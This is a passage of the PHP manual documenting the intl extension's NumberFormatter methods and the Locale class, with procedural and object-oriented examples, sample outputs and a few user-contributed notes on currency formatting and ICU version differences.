$fmt = numfmt_create( 'ru_RU', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
$fmt = new NumberFormatter( 'ru_RU', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
?>

The above example will output:

1.234.567,89 €
1.234.567,89 RUR
1 234 567,89€
1 234 567,89р.

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_format() - Format a number
  • numfmt_parse_currency() - Parse a currency number

User Contributed Notes

martin t holzhauer dohd eu 13-Feb-2014 11:37
When you want to format currency's without sub units and the currency is not the one used by the given locale you need to set the currency code before as TextAttribute _BEFORE_ setting the NumberFormatter::FRACTION_DIGITS

<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setTextAttribute(NumberFormatter::CURRENCY_CODE, 'EUR');
$fmt->setAttribute(NumberFormatter::FRACTION_DIGITS, 0);
$fmt->formatCurrency(100, 'EUR');
?>
Ruben 26-Oct-2012 02:40
While this function accepts floats for currency (in order to display cents), you should (for applications where this is critical) never store or handle money using floats, as rounding errors may occur. Work with integers (or a BigInt class if integers aren't large enough) internally instead, where the integer represents the total number of cents. An alternative (especially if you need more precision than cents) is using the BC (Binary Calculator) Math module, that handles arbitrary precision numbers with 100% accuracy.


Format a number

  • « NumberFormatter::formatCurrency
  • NumberFormatter::getAttribute »
  • PHP Manual
  • NumberFormatter
  • Format a number

NumberFormatter::format

numfmt_format

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::format -- numfmt_format — Format a number

Description

Object oriented style

public string NumberFormatter::format ( number $value [, int $type ] )

Procedural style

string numfmt_format ( NumberFormatter $fmt , number $value [, int $type ] )

Format a numeric value according to the formatter rules.

Parameters

fmt

NumberFormatter object.

value

The value to format. Can be integer or float, other values will be converted to a numeric value.

type

The formatting type to use.

Return Values

Returns the string containing formatted value, or FALSE on error.

Examples

Example #1 numfmt_format() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_format($fmt))) {
    report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

The above example will output:

1.234.567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_format_currency() - Format a currency value
  • numfmt_parse() - Parse a number

User Contributed Notes

There are no user contributed notes for this page.


Get an attribute

  • « NumberFormatter::format
  • NumberFormatter::getErrorCode »
  • PHP Manual
  • NumberFormatter
  • Get an attribute

NumberFormatter::getAttribute

numfmt_get_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getAttribute -- numfmt_get_attribute — Get an attribute

Description

Object oriented style

public int NumberFormatter::getAttribute ( int $attr )

Procedural style

int numfmt_get_attribute ( NumberFormatter $fmt , int $attr )

Get a numeric attribute associated with the formatter. An example of a numeric attribute is the number of integer digits the formatter will produce.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the numeric attribute constants.

Return Values

Return attribute value on success, or FALSE on error.

Examples

Example #1 numfmt_get_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_text_attribute() - Get a text attribute
  • numfmt_set_attribute() - Set an attribute

User Contributed Notes

There are no user contributed notes for this page.


Get formatter's last error code.

  • « NumberFormatter::getAttribute
  • NumberFormatter::getErrorMessage »
  • PHP Manual
  • NumberFormatter
  • Get formatter's last error code.

NumberFormatter::getErrorCode

numfmt_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getErrorCode -- numfmt_get_error_code — Get formatter's last error code.

Description

Object oriented style

public int NumberFormatter::getErrorCode ( void )

Procedural style

int numfmt_get_error_code ( NumberFormatter $fmt )

Get error code from the last function performed by the formatter.

Parameters

fmt

NumberFormatter object.

Return Values

Returns error code from last formatter call.

Examples

Example #1 numfmt_get_error_code() example

<?php
$fmt  = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_get_error_code($fmt))) {
    report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

See Also

  • numfmt_get_error_message() - Get formatter's last error message.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get formatter's last error message.

  • « NumberFormatter::getErrorCode
  • NumberFormatter::getLocale »
  • PHP Manual
  • NumberFormatter
  • Get formatter's last error message.

NumberFormatter::getErrorMessage

numfmt_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getErrorMessage -- numfmt_get_error_message — Get formatter's last error message.

Description

Object oriented style

public string NumberFormatter::getErrorMessage ( void )

Procedural style

string numfmt_get_error_message ( NumberFormatter $fmt )

Get error message from the last function performed by the formatter.

Parameters

fmt

NumberFormatter object.

Return Values

Returns error message from last formatter call.

Examples

Example #1 numfmt_get_error_message() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_get_error_code($fmt))) {
    report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get formatter locale

  • « NumberFormatter::getErrorMessage
  • NumberFormatter::getPattern »
  • PHP Manual
  • NumberFormatter
  • Get formatter locale

NumberFormatter::getLocale

numfmt_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getLocale -- numfmt_get_locale — Get formatter locale

Description

Object oriented style

public string NumberFormatter::getLocale ([ int $type ] )

Procedural style

string numfmt_get_locale ( NumberFormatter $fmt [, int $type ] )

Get formatter locale name.

Parameters

fmt

NumberFormatter object.

type

You can choose between valid and actual locale ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, respectively). The default is the actual locale.

Return Values

The locale name used to create the formatter.

Examples

Example #1 numfmt_get_locale() example

<?php
$req     = 'fr_FR_PARIS';
$fmt     = numfmt_create( $req,  NumberFormatter::DECIMAL);
$res_val = numfmt_get_locale( $fmt, Locale::VALID_LOCALE );
$res_act = numfmt_get_locale( $fmt, Locale::ACTUAL_LOCALE );
printf( "Requested locale name: %s\nValid locale name: %s\nActual locale name: %s\n",
         $req, $res_val, $res_act );
?>

The above example will output:

Requested locale name: fr_FR_PARIS
Valid locale name: fr_FR
Actual locale name: fr

See Also

  • numfmt_create() - Create a number formatter
  • numfmt_get_error_code() - Get formatter's last error code.

User Contributed Notes

There are no user contributed notes for this page.


Get formatter pattern

  • « NumberFormatter::getLocale
  • NumberFormatter::getSymbol »
  • PHP Manual
  • NumberFormatter
  • Get formatter pattern

NumberFormatter::getPattern

numfmt_get_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getPattern -- numfmt_get_pattern — Get formatter pattern

Description

Object oriented style

public string NumberFormatter::getPattern ( void )

Procedural style

string numfmt_get_pattern ( NumberFormatter $fmt )

Extract pattern used by the formatter.

Parameters

fmt

NumberFormatter object.

Return Values

Pattern string that is used by the formatter, or FALSE if an error happens.

Examples

Example #1 numfmt_get_pattern() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_set_pattern() - Set formatter pattern
  • numfmt_create() - Create a number formatter

User Contributed Notes

There are no user contributed notes for this page.


Get a symbol value

  • « NumberFormatter::getPattern
  • NumberFormatter::getTextAttribute »
  • PHP Manual
  • NumberFormatter
  • Get a symbol value

NumberFormatter::getSymbol

numfmt_get_symbol

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getSymbol -- numfmt_get_symbol — Get a symbol value

Description

Object oriented style

public string NumberFormatter::getSymbol ( int $attr )

Procedural style

string numfmt_get_symbol ( NumberFormatter $fmt , int $attr )

Get a symbol associated with the formatter. The formatter uses symbols to represent the special locale-dependent characters in a number, for example the percent sign. This API is not supported for rule-based formatters.

Parameters

fmt

NumberFormatter object.

attr

Symbol specifier, one of the format symbol constants.

Return Values

The symbol string or FALSE on error.

Examples

Example #1 numfmt_get_symbol() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Sep: .
1.234.567,891
Sep: *
1*234*567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_set_symbol() - Set a symbol value

User Contributed Notes

There are no user contributed notes for this page.


Get a text attribute

  • « NumberFormatter::getSymbol
  • NumberFormatter::parseCurrency »
  • PHP Manual
  • NumberFormatter
  • Get a text attribute

NumberFormatter::getTextAttribute

numfmt_get_text_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getTextAttribute -- numfmt_get_text_attribute — Get a text attribute

Description

Object oriented style

public string NumberFormatter::getTextAttribute ( int $attr )

Procedural style

string numfmt_get_text_attribute ( NumberFormatter $fmt , int $attr )

Get a text attribute associated with the formatter. An example of a text attribute is the suffix for positive numbers. If the formatter does not understand the attribute, U_UNSUPPORTED_ERROR error is produced. Rule-based formatters only understand NumberFormatter::DEFAULT_RULESET and NumberFormatter::PUBLIC_RULESETS.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the text attribute constants.

Return Values

Return attribute value on success, or FALSE on error.

Examples

Example #1 numfmt_get_text_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

The above example will output:

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_attribute() - Get an attribute
  • numfmt_set_text_attribute() - Set a text attribute

User Contributed Notes

There are no user contributed notes for this page.


Parse a currency number

  • « NumberFormatter::getTextAttribute
  • NumberFormatter::parse »
  • PHP Manual
  • NumberFormatter
  • Parse a currency number

NumberFormatter::parseCurrency

numfmt_parse_currency

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::parseCurrency -- numfmt_parse_currency — Parse a currency number

Description

Object oriented style

public float NumberFormatter::parseCurrency ( string $value , string &$currency [, int &$position ] )

Procedural style

float numfmt_parse_currency ( NumberFormatter $fmt , string $value , string &$currency [, int &$position ] )

Parse a string into a double and a currency using the current formatter.

Parameters

fmt

NumberFormatter object.

currency

Parameter to receive the currency name (3-letter ISO 4217 currency code).

position

Offset in the string at which to begin parsing. On return, this value will hold the offset at which parsing ended.

Return Values

The parsed numeric value or FALSE on error.

Examples

Example #1 numfmt_parse_currency() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89 $";
echo "We have ".numfmt_parse_currency($fmt, $num, $curr)." in $curr\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89 $";
echo "We have ".$fmt->parseCurrency($num, $curr)." in $curr\n";
?>

The above example will output:

We have 1234567.89 in USD

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_parse() - Parse a number
  • numfmt_format_currency() - Format a currency value

User Contributed Notes

There are no user contributed notes for this page.


Parse a number

  • « NumberFormatter::parseCurrency
  • NumberFormatter::setAttribute »
  • PHP Manual
  • NumberFormatter
  • Parse a number

NumberFormatter::parse

numfmt_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::parse -- numfmt_parse — Parse a number

Description

Object oriented style

public mixed NumberFormatter::parse ( string $value [, int $type [, int &$position ]] )

Procedural style

mixed numfmt_parse ( NumberFormatter $fmt , string $value [, int $type [, int &$position ]] )

Parse a string into a number using the current formatter rules.

Parameters

fmt

NumberFormatter object.

type

The formatting type to use. By default, NumberFormatter::TYPE_DOUBLE is used.

position

Offset in the string at which to begin parsing. On return, this value will hold the offset at which parsing ended.

Return Values

The value of the parsed number or FALSE on error.

Examples

Example #1 numfmt_parse() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo $fmt->parse($num)."\n";
echo $fmt->parse($num, NumberFormatter::TYPE_INT32)."\n";
?>

The above example will output:

1234567.891
1234567

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_format() - Format a number
  • numfmt_parse_currency() - Parse a currency number

User Contributed Notes

rdohms at php dot net 06-Jul-2012 08:53
It interesting to note that the expected behavior for this function may change according to your ICU version.

In ICU 4.4.2 (standard for Ubuntu 10.* with PHP 5.3.5)

    With locale 'en', input of 100,1 returns 1001

In ICU 4.8.1 (standard for Ubuntu 12.* with PHP 5.3.10)

    With locale 'en', input of 100,1 returns "false"

Be sure to note your ICU version in phpinfo() to be sure you will get the expected output.


Set an attribute

  • « NumberFormatter::parse
  • NumberFormatter::setPattern »
  • PHP Manual
  • NumberFormatter
  • Set an attribute

NumberFormatter::setAttribute

numfmt_set_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setAttribute -- numfmt_set_attribute — Set an attribute

Description

Object oriented style

public bool NumberFormatter::setAttribute ( int $attr , int $value )

Procedural style

bool numfmt_set_attribute ( NumberFormatter $fmt , int $attr , int $value )

Set a numeric attribute associated with the formatter. An example of a numeric attribute is the number of integer digits the formatter will produce.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the numeric attribute constants.

value

The attribute value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_attribute() - Get an attribute
  • numfmt_set_text_attribute() - Set a text attribute

User Contributed Notes

There are no user contributed notes for this page.


Set formatter pattern

  • « NumberFormatter::setAttribute
  • NumberFormatter::setSymbol »
  • PHP Manual
  • NumberFormatter
  • Set formatter pattern

NumberFormatter::setPattern

numfmt_set_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setPattern -- numfmt_set_pattern — Set formatter pattern

Description

Object oriented style

public bool NumberFormatter::setPattern ( string $pattern )

Procedural style

bool numfmt_set_pattern ( NumberFormatter $fmt , string $pattern )

Set the pattern used by the formatter. Can not be used on a rule-based formatter.

Parameters

fmt

NumberFormatter object.

pattern

Pattern in syntax described in » ICU DecimalFormat documentation.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_pattern() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_create() - Create a number formatter
  • numfmt_get_pattern() - Get formatter pattern

User Contributed Notes

There are no user contributed notes for this page.


Set a symbol value

  • « NumberFormatter::setPattern
  • NumberFormatter::setTextAttribute »
  • PHP Manual
  • NumberFormatter
  • Set a symbol value

NumberFormatter::setSymbol

numfmt_set_symbol

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setSymbol -- numfmt_set_symbol — Set a symbol value

Description

Object oriented style

public bool NumberFormatter::setSymbol ( int $attr , string $value )

Procedural style

bool numfmt_set_symbol ( NumberFormatter $fmt , int $attr , string $value )

Set a symbol associated with the formatter. The formatter uses symbols to represent the special locale-dependent characters in a number, for example the percent sign. This API is not supported for rule-based formatters.

Parameters

fmt

NumberFormatter object.

attr

Symbol specifier, one of the format symbol constants.

value

Text for the symbol.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_symbol() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Sep: .
1.234.567,891
Sep: *
1*234*567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_symbol() - Get a symbol value

User Contributed Notes

There are no user contributed notes for this page.


Set a text attribute

  • « NumberFormatter::setSymbol
  • Locale »
  • PHP Manual
  • NumberFormatter
  • Set a text attribute

NumberFormatter::setTextAttribute

numfmt_set_text_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setTextAttribute -- numfmt_set_text_attribute — Set a text attribute

Description

Object oriented style

public bool NumberFormatter::setTextAttribute ( int $attr , string $value )

Procedural style

bool numfmt_set_text_attribute ( NumberFormatter $fmt , int $attr , string $value )

Set a text attribute associated with the formatter. An example of a text attribute is the suffix for positive numbers. If the formatter does not understand the attribute, U_UNSUPPORTED_ERROR error is produced. Rule-based formatters only understand NumberFormatter::DEFAULT_RULESET and NumberFormatter::PUBLIC_RULESETS.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the text attribute constants.

value

Text for the attribute value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_text_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

The above example will output:

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_text_attribute() - Get a text attribute
  • numfmt_set_attribute() - Set an attribute

User Contributed Notes

There are no user contributed notes for this page.


The Locale class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

A "Locale" is an identifier used to get language, culture, or regionally-specific behavior from an API. PHP locales are organized and identified the same way that the CLDR locales used by ICU (and many vendors of Unix-like operating systems, the Mac, Java, and so forth) use. Locales are identified using RFC 4646 language tags (which use hyphen, not underscore) in addition to the more traditional underscore-using identifiers. Unless otherwise noted the functions in this class are tolerant of both formats.

Examples of identifiers include:

  • en-US (English, United States)
  • zh-Hant-TW (Chinese, Traditional Script, Taiwan)
  • fr-CA, fr-FR (French for Canada and France respectively)

The Locale class (and related procedural functions) are used to interact with locale identifiers--to verify that an ID is well-formed, valid, etc. The extensions used by CLDR in UAX #35 (and inherited by ICU) are valid and used wherever they would be in ICU normally.

Locales cannot be instantiated as objects. All of the functions/methods provided are static.

The null or empty string obtains the "root" locale. The "root" locale is equivalent to "en_US_POSIX" in CLDR. Language tags (and thus locale identifiers) are case insensitive. There exists a canonicalization function to make case match the specification.

Class synopsis

Locale {
/* Methods */
public static string acceptFromHttp ( string $header )
public static string canonicalize ( string $locale )
public static string composeLocale ( array $subtags )
public static bool filterMatches ( string $langtag , string $locale [, bool $canonicalize = false ] )
public static array getAllVariants ( string $locale )
public static string getDefault ( void )
public static string getDisplayLanguage ( string $locale [, string $in_locale ] )
public static string getDisplayName ( string $locale [, string $in_locale ] )
public static string getDisplayRegion ( string $locale [, string $in_locale ] )
public static string getDisplayScript ( string $locale [, string $in_locale ] )
public static string getDisplayVariant ( string $locale [, string $in_locale ] )
public static array getKeywords ( string $locale )
public static string getPrimaryLanguage ( string $locale )
public static string getRegion ( string $locale )
public static string getScript ( string $locale )
public static string lookup ( array $langtag , string $locale [, bool $canonicalize = false [, string $default ]] )
public static array parseLocale ( string $locale )
public static bool setDefault ( string $locale )
}

Predefined Constants

Locale::DEFAULT_LOCALE (null)
Used as locale parameter with the methods of the various locale affected classes, such as NumberFormatter. This constant would make the methods to use default locale.

These constants describe the choice of the locale for getLocalte method of different classes.

Locale::ACTUAL_LOCALE (string)
This is locale the data actually comes from.
Locale::VALID_LOCALE (string)
This is the most specific locale supported by ICU.

These constants define how the Locales are parsed or composed. They should be used as keys in the argument array to locale_compose() and are returned from locale_parse() as keys of the returned associative array.

Locale::LANG_TAG (string)
Language subtag
Locale::EXTLANG_TAG (string)
Extended language subtag
Locale::SCRIPT_TAG (string)
Script subtag
Locale::REGION_TAG (string)
Region subtag
Locale::VARIANT_TAG (string)
Variant subtag
Locale::GRANDFATHERED_LANG_TAG (string)
Grandfathered Language subtag
Locale::PRIVATE_TAG (string)
Private subtag

See Also

  • » RFC 4646 - Tags for Identifying Languages
  • » RFC 4647 - Matching of Language Tags
  • » Unicode CLDR Project:Common Locale Data Repository
  • » IANA Language Subtags Registry
  • » ICU User Guide - Locale
  • » ICU Locale api

Table of Contents

  • Locale::acceptFromHttp — Tries to find out best available locale based on HTTP "Accept-Language" header
  • Locale::canonicalize — Canonicalize the locale string
  • Locale::composeLocale — Returns a correctly ordered and delimited locale ID
  • Locale::filterMatches — Checks if a language tag filter matches with locale
  • Locale::getAllVariants — Gets the variants for the input locale
  • Locale::getDefault — Gets the default locale value from the INTL global 'default_locale'
  • Locale::getDisplayLanguage — Returns an appropriately localized display name for language of the inputlocale
  • Locale::getDisplayName — Returns an appropriately localized display name for the input locale
  • Locale::getDisplayRegion — Returns an appropriately localized display name for region of the input locale
  • Locale::getDisplayScript — Returns an appropriately localized display name for script of the input locale
  • Locale::getDisplayVariant — Returns an appropriately localized display name for variants of the input locale
  • Locale::getKeywords — Gets the keywords for the input locale
  • Locale::getPrimaryLanguage — Gets the primary language for the input locale
  • Locale::getRegion — Gets the region for the input locale
  • Locale::getScript — Gets the script for the input locale
  • Locale::lookup — Searches the language tag list for the best match to the language
  • Locale::parseLocale — Returns a key-value array of locale ID subtag elements.
  • Locale::setDefault — sets the default runtime locale

User Contributed Notes

There are no user contributed notes for this page.


Tries to find out best available locale based on HTTP "Accept-Language" header

  • « Locale
  • Locale::canonicalize »
  • PHP Manual
  • Locale
